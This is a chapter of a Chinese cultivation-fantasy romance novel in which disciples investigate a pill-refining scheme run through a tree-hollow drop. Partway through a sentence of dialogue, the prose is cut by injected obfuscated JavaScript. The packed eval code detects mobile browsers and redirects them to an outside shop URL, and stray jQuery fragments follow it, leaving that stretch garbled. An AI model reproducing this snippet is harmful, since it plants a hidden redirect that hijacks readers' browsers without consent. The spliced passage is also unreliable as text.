卫晋想先盘问程文有无异样,于是罗潇宵也留在外面盯着人,以防太阳落山前程文在她们手上有个好歹。
炼丹房不大,中间立着两座黑沉沉的丹炉,炉边散落着一些没用完的灵火符箓,有些被燎了边,已然作废了。墙角放着些水和干粮,三面墙都是齐平天花板的巨大药柜,每一个四方柜门正面都写着药名,这些布置全然压缩在一个房间里,充满了说不出的压迫感。
任妙凑到墙角看了看,是啃了一半的馒头和小半碗水,馒头已经风干了,水面也漂了灰,旁边还丢着一卷白纸和几只炭笔,这两日应当无人动过此处。
听闻炼丹和炼器都是苦活,即便可以用符箓辅助,时长、控火和时机都需要时时在炉前自行把握,很难假手于人。为成功炼好一炉丹药,吃住在炼丹房中,守上十天半月也不足为奇。
她刚转过身,便被几乎贴到鼻尖的衣领吓了一跳,燕策白不知何时悄无声息地站在她背后,看她往后退去,立刻想伸出手来牵她。
任妙闪身躲过,眯了眯眼。
“不许碰我。”她道。
燕策白抬起来的手又缓缓放下。
她伸出手指,在半空中画了个圈:“转过去,我们俩各查各的。”
燕策白抬眸深深瞧了她一眼,脚下已听话地转了过去,往中间那两座丹炉走了。
他方才的眼神……好像有点奇怪。
不是嫌恶,也不是愤怒,和禁地那一晚的神情有些相似,又有着些微的不同。
好像是……幽怨?
任妙扫了眼燕策白的好感度。
-90。
降得真快啊,可惜了,他又不能拿她如何。
这种将人呼来唤去的感觉还真不赖,她被欺负得厉害时也曾做过对万东衡、元思若颐指气使的美梦,但远远不如差遣这位大名鼎鼎的剑宗首席、眼高于顶的内门第一有趣。
拥抱,牵手……做这些事究竟对他有什么好处?
任妙想,那就让他不如意试试看。
燕策白忍耐着碰不到人的烦躁,深深吸了口丹炉逸散出来的药香,试图让自己头脑清醒些。他刚才简直是昏了头,不但悄悄站到她身后嗅她的头发,竟然还忍不住想拉她的手。
可是她居然躲开了,仿佛还很嫌弃的样子?明明他每天都捏三回清洗诀,今日衣裳还熏过香,莫非是最近太朴素了没戴首饰,显得精气神不好?
燕策白忿忿地想,就算只是站着什么都不做,也有很多人想靠近他的,任妙好没眼光。
虽这么说,他心底还是涌上一股莫名的感受,好像心口被一只手攥紧了,要榨出酸汁来,他想了好一会才想明白,那感觉应当叫沮丧,或者……委屈。
不过她身上怎么会那么香,就连头发也是……
哐当。
丹炉下方围挡被他神思恍惚间无意识拉下来,出口处哗地流出好一大滩废弃药渣,浓郁的药味瞬间盈满整个炼丹房。
燕策白被这浓烈气味冲得皱眉,从旁边取了一支烧火钳,将药渣细细拨开。
内门也是有丹学课程的,即便燕策白早早就确定了要习剑,内门第一年也还需将剑器丹阵符五道学到基础,故他一闻这气味便觉得不寻常。
太烈了。
他隐约辨认出其中几味,如作治病救人之用,均需配以性温性凉的辅药中和,这一炉中却偏偏挤满了烈性药材,所以流出的药渣也漆黑焦糊,明显是炸炉了。
“有什么发现?”
任妙的声音从上方传来,燕策白抬头,鼻尖扫过她辫子尾端的头发,喉头下意识动了动。
“程文炼的丹药……有蹊跷,”燕策白答,“君臣佐使不像能成丹方的样子,放得太多,而且太乱,一整炉都炼废了。”
“可是我看过她的平日等次,”任妙犹疑道,“她在神农阁成绩很好,常常第一。”
这种错误,对第一名来说太过低级。
她伸手去开另一个炼丹炉,拆开围挡却空空荡荡干干净净,没有任何药渣残留在里面。
“这个清扫过了,”燕策白道,“或许她没有使用,又或许……”
她炼成了什么。
*
任妙和燕策白出了炼丹房,也正碰到罗潇宵卫晋领着程文从弟子舍出来。
卫晋眉头紧锁,凑过来和燕策白交流取得的信息。任妙在旁边伸长耳朵,又听到一条戒律堂专业人士推理出的新线索。
从生活习惯上看,程文平时刻苦清贫,但她暗格里的首饰却昂贵崭新,看起来完全没有佩戴过的痕迹。能买得起这些首饰,说明她有件上手不久且报酬可观的活计可做。
医修弟子能赚钱的活计,不外乎开药、治病,以及……
任妙若有所思望向身后。
以及炼丹。
之前跑到大堂群聚围观的医修们陆陆续续回来了一些,天井中支着不少咕噜噜冒泡的煎药锅,零星两三个弟子蹲在锅前守着,时不时朝他们几人偷偷瞄来一眼。
卫晋道:“将两处线索结合来看……会不会是有人为了破解绝密丹方,特意找到外门第一的程文尝试炼丹,胁迫程文为他试药,因此伤及她的神魂?”
罗潇宵问:“那这雇主也并不富裕吧,若他真正有钱,何不雇请造诣更高的内门医修?”
“外门闲杂人等足够多,关系足够复杂,反倒更好保密,想要藏起一滴水,把它滴入大海是最好的办法,”卫晋乜她一眼,“你怎么会这么想?内外门严格不互通,如果雇主是外门之人,如何联系内门医修帮忙?”
罗潇宵心虚地移开目光:“呃,这个……咦,任妙?”
燕策白回过头,见任妙不知何时远离了他们,朝天井中央正捏诀调火的一名女弟子走去,他还没搞懂她在做什么,脚下已经立时跟着迈步过去了。
“姑娘,戒律堂办案,打扰了,”任妙站到她跟前,放轻语气,“能否问你,平日同程文交情如何?”
那圆脸姑娘神色忽然有些紧张,不知是听了戒律堂的名号还是怎的:“我,我同她……关系尚可。”
任妙点点头:“那么——你们是在何处寻到替人炼丹的活计的?”
话音未落眼前一花,那姑娘突然如受惊兔子般跳起来,撒腿就往外跑,任妙只来得及叫一声“别走”,却见一抹红色更迅疾地掠过前方,长臂一伸,轻巧拦住对方的去路。
“退后。”燕策白道。
那姑娘吓了一跳,不敢与燕策白对抗,慢吞吞地退回原本位置,眼神幽幽地望向任妙身后:“我可以说,不过我先声明,阿文不是我害的!”
她头上明晃晃的“50”抖了抖,任妙安抚道:“放心,我们不会错抓好人,只是需要线索。”
她的好感度停止了抖动。
“我……我也是无意间发现的,”她局促地搓了搓衣袖边缘,那处已被浆洗得微微发白,“去年秋试以后,有人特地在炼丹房留了招人炼丹的讯息,我便按照留言,在神农阁后密林同此人会面。他出的价钱不低,要的也是不难的方子,像是清心丹、聚灵丹之类,于是我便应承下来,全部自己完成,但后来……就越发复杂了。”
任妙冷不丁问一句:“你平日里,成绩也常常一等么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17631930|206399||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
?”
对方愣了下,点点头。卫晋示意她继续说下去。
“之后……之后我渐渐交不出货,那边便出了一大笔钱,委托我再找个能做的人,我就想起了程文……那时程文娘亲在家乡病倒急需钱,她为防止寄送时被有心之人侵吞,总是特地换成金银首饰再寄,有回被我看到,她才与我说了。那时我也想帮她渡过难关,于是就同她提起此事,她也应承下来……”
“再然后,我就不知她同雇主如何交易了,”回忆起这些,她脸上也满是懊悔,“如果这事真同她遭难有关……我,我……”
卫晋道:“你从前如何与这雇主交易的?”
“我仅在初次约见时见过他一面,但对方蒙得很严实,声音也听不出男女,”她回忆道,“后来交易钱货,用的都是树洞。”
“树洞?”
“林子东北方有棵老树,肚上有个隐秘的大洞,我将丹药放进去,取出留好的报酬以及下一次他所需的丹方……连续三回未见我交出成丹,对方才留言托我另寻他人。”
任妙问:“你何时开始做不出他要的成丹?”
“约莫是……今年春试左右,”她紧紧皱着眉,“要求的方子突然复杂了很多,还有一些药材我闻所未闻,也不知有什么功效。”
程文接手时间果然很短,从她房间里的首饰来看,酬金也的确不菲,此番看来,似乎真与卫晋猜测的八九不离十。
卫晋当下便叫燕策白:“走,去查树洞。”
罗潇宵朝任妙道:“太阳要落山了。”
太阳落山,应当还人了。
几人到门口时要分道扬镳,卫晋急匆匆朝树洞方向冲去,走出好远才发现身后空无一人,他回头一看,燕策白竟还巴巴地跟在任妙后面,大有一辈子跟下去的趋势。
“燕策白!”他叫道。
燕策白一动不动。
任妙这才发现燕策白还像鬼一样跟着自己,她宽宏大量地指指他身后:“去办你的案子吧。”
卫晋看着他走过来,笑道:“我竟不知你心悦一个人会这样反常,我还道你这辈子都要跟镇阙过下去了呢。”
离开任妙身侧,燕策白深吸了口迎面的风,脑中清醒不少:“我心悦谁?任妙?她身上没有一点修为,连乌境都达不到,你觉得可能吗?”
卫晋看傻子似的睨了他一眼:“哦,原来她叫任妙,那你帮人解围算什么?迟迟舍不得走又算什么?”
燕策白静默片刻,摸了摸鼻子。
“……我自有打算。”
另一头任妙刚戴好面具,罗潇宵便一拍大腿道明日外门小考,她新打了把剑忘了去取,任妙便招招手随她去了,想到小考如此累人,又叫她这两日可以不必来帮忙。
反正罗潇宵又不必躲元思若,现在有课不能上的是自己。
任妙叹了口气转过身去。夕阳沉浓,在地上铺出大片摇曳的红影,程文坐在大石头上,正踮着脚尖在沙地上画着什么。
她凑过去看,发现是由横横竖竖许多线条组成的小格子,看起来很像任妙前世所见的一种学生间的娱乐。
旁边突然伸出一只手,在程文右上的格子内画了一个圈。
任妙抬头望去,见程武笑道:“我和阿文小时候买不起棋盘,就是这样消磨时光的。”
兄妹俩你来我往,就这样在地上下起棋来,程文虽已神智混乱,但童年的记忆仿佛已刻在了她骨子里,对弈时竟也不落下风,叫人不禁称奇。
程武举着手,正要再画一子,却猛然被任妙抓住了手腕。
“我知道了!”任妙说。